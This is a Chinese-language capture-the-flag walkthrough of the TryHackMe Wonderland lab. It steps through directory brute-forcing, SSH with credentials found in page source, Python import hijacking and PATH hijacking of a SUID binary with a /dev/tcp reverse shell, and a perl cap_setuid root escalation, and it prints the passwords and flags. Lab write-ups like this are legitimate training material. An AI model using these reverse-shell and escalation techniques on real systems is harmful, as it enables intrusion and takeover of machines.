URL: https://tryhackme.com/dashboard
IP : 10.10.166.15
Recon
- 一直 nmap 太老梗太無聊了
- 來玩玩新東西
RustScan
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb
- 來玩玩新東西
rustscan -a 10.10.166.15
- 開 22 跟 80
網址
- http://10.10.166.15/
- 透過 dirsearch 可以找到
/r
- http://10.10.166.15/r/ 再掃,可以掃到
/a
- 感覺每次都是一個字,所以可以爆搜看看,自己寫一個 python 腳本
import requests from multiprocessing import Pool url = 'http://10.10.166.15/r/a/' alphabat = 'abcdefghijklmnopqrstuvwxyz' def req(i): res = requests.get(f'{url}/{i}') if res.status_code == 200: print(i) p = Pool(10) p.map(req,alphabat)
- 如果爆到正確的就會 print 出來,然後手動把搜的結果加去 url 最後面再爆
- 所以最後爆出的結果是
r/a/b/b/i/t
- 所以最後爆出的結果是
- 透過 dirsearch 可以找到
- http://10.10.166.15/r/a/b/b/i/t/
- 觀察原始碼會發現一串奇怪的字串
alice:HowDothTheLittleCrocodileImproveHisShiningTail
- 斷詞後發現是
How Doth The Little Crocodile Improve His Shining Tail
- 來自於
- How Doth the Little Crocodile
- 路易斯·卡羅創作的詩
How doth the little crocodile Improve his shining tail And pour the waters of the Nile On every golden scale! How cheerfully he seems to grin How neatly spreads his claws, And welcomes little fishes in With gently smiling jaws!
- 好…完全不重要
- 觀察原始碼會發現一串奇怪的字串
SSH
- 通靈一下,我們時常會把帳號跟密碼用
:
隔開- 說不定,上面那串就是 alice 的密碼!嘗試ssh登入看看
ssh alice@10.10.166.15
- 密碼
HowDothTheLittleCrocodileImproveHisShiningTail
- 密碼
- 說不定,上面那串就是 alice 的密碼!嘗試ssh登入看看
- 到處找了一輪,都找不到
user.txt
QAQ- 算了,我們直接想辦法提權,等有 root 後再用上帝視角來搜!
- 但反而我們使用者
alice
的家目錄有一個沒有權限讀的root.txt
- 輸入
sudo -l
觀察- 發現我們可以用
rabbit
使用者身分執行/usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
- 所以執行方法應該如下
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
- 發現我們可以用
挾持 Python
- 觀察
walrus_and_the_carpenter.py
- 發現內部的程式碼會
import random
- 這個時候我們可以透過一些小技巧挾持他的
random
- 發現內部的程式碼會
- Python 的 import 有一個特性
- 首先他會讀取同一個資料夾裡面,是否有相同檔名的檔案來給他 Import
- 再來才會去找
sys.path
裡面的東西- 可以輸入
python3 -c "import sys; print(sys.path)"
觀察
- 可以輸入
- 所以由於該檔案在我們家目錄,我們可以在自己家目錄下創一個
random.py
- 此時如果執行該 python 檔案,即可使用我們自己的 random
- 我們建造的
random.py
python3 import pty pty.spawn("/bin/bash")
- 以
rabbit
使用者執行看看sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
- 就會發現我們噴成 rabbit 的 shell 了!
逆向工程
- 進入 rabbit 後,發現他的家目錄有一個
teaParty
的檔案- 透過
file teaParty
檢查會發現他是一個 ELF 執行檔 - 透過
ls -al teaParty
會發現他有 SUID - 那不管了,我們先執行看看ㄅ!
./teaParty
- 噴了一些字,還有當前時間就卡住了,感覺可以讓我輸入一些字,那就先隨便輸入個
meow
看看ㄅ - 哇…… 噴出了
Segmentation fault (core dumped)
- 母…母湯阿,不會在這邊要開始打
pwn
了吧 QWQ
- 母…母湯阿,不會在這邊要開始打
- 好吧,那我們先把檔案抓出來分析看看
cp teaParty /tmp
chmod 777 /tmp/teaParty
- 本機
scp alice@10.10.166.15:/tmp/teaParty .
- 噴了一些字,還有當前時間就卡住了,感覺可以讓我輸入一些字,那就先隨便輸入個
- 透過
- 透過 Cutter 打開
- 觀察
main
函數會發現,先會 setuid
跟gid
為 0x3eb = 1003 - 先觀察一下 uid、gid 1003 是誰
cat /etc/passwd | grep 1003
- 會發現是一個叫做
hatter
的使用者
- 觀察
- 關於逆向這個程式,很明顯的重點就是以下三行
setuid(0x3eb);
setgid(0x3eb);
system("/bin/echo -n \'Probably by \' && date --date=\'next hour\' -R");
- 然後他的
Segmentation fault
是假的- 7777777777777777777
- 我們可以發現他的 system 裡面主要 call 了兩個東西
- 第一個是
/bin/echo
- 第二個是
date
- 在這邊我先查詢了
/bin/echo
以及/bin/date
發現都不可以修改
- 第一個是
- 想到我們可以做什麼事情了嗎?
- 程式裡面的
system
呼叫的是date
而不是/bin/date
- 而在 Linux 中,如果不寫完整的路徑,就會去
$PATH
裡面抓 - 所以我們可以修改
$PATH
,增加路徑,並放上我們自己ㄉdate
檔案- 放一個 reverse shell
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'
- 再給他權限
chmod +x date
- 攻擊機準備好 reverse shell
nc -vlk 7877
- 再輸入以下指令
PATH=/home/rabbit:$PATH ./teaParty
- 放一個 reverse shell
- 程式裡面的
- 就可以收到 reverse shell 了!!
- 我們目前到了
hatter
使用者 - 在根目錄可以發現一組
WhyIsARavenLikeAWritingDesk?
密碼,可以以此用 ssh 登入 hatter ssh hatter@10.10.166.15
- 我們目前到了
提權
- 先透過 scp 把 linpeas 給傳到機器中
- 輸入
bash linpeas.sh
- 發現一些有趣的東西
- 在
Capabilities
的地方可以看到- Files with capabilities
- 發現 perl 有
cap_setuid
- 去 GTFObins 上找
- 發現 perl 有
- Files with capabilities
- 就找到了 GTFObins 上面的 perl Capabilities
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
- 就發現了我們拿到 root !!
- 也就順利的拿到了 root 的 flag
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}
- 到 /root 看看有什麼東西
- 找到了
user.txt
thm{"Curiouser and curiouser!"}
把user.txt放在root目錄是不是搞錯了什麼
- 找到了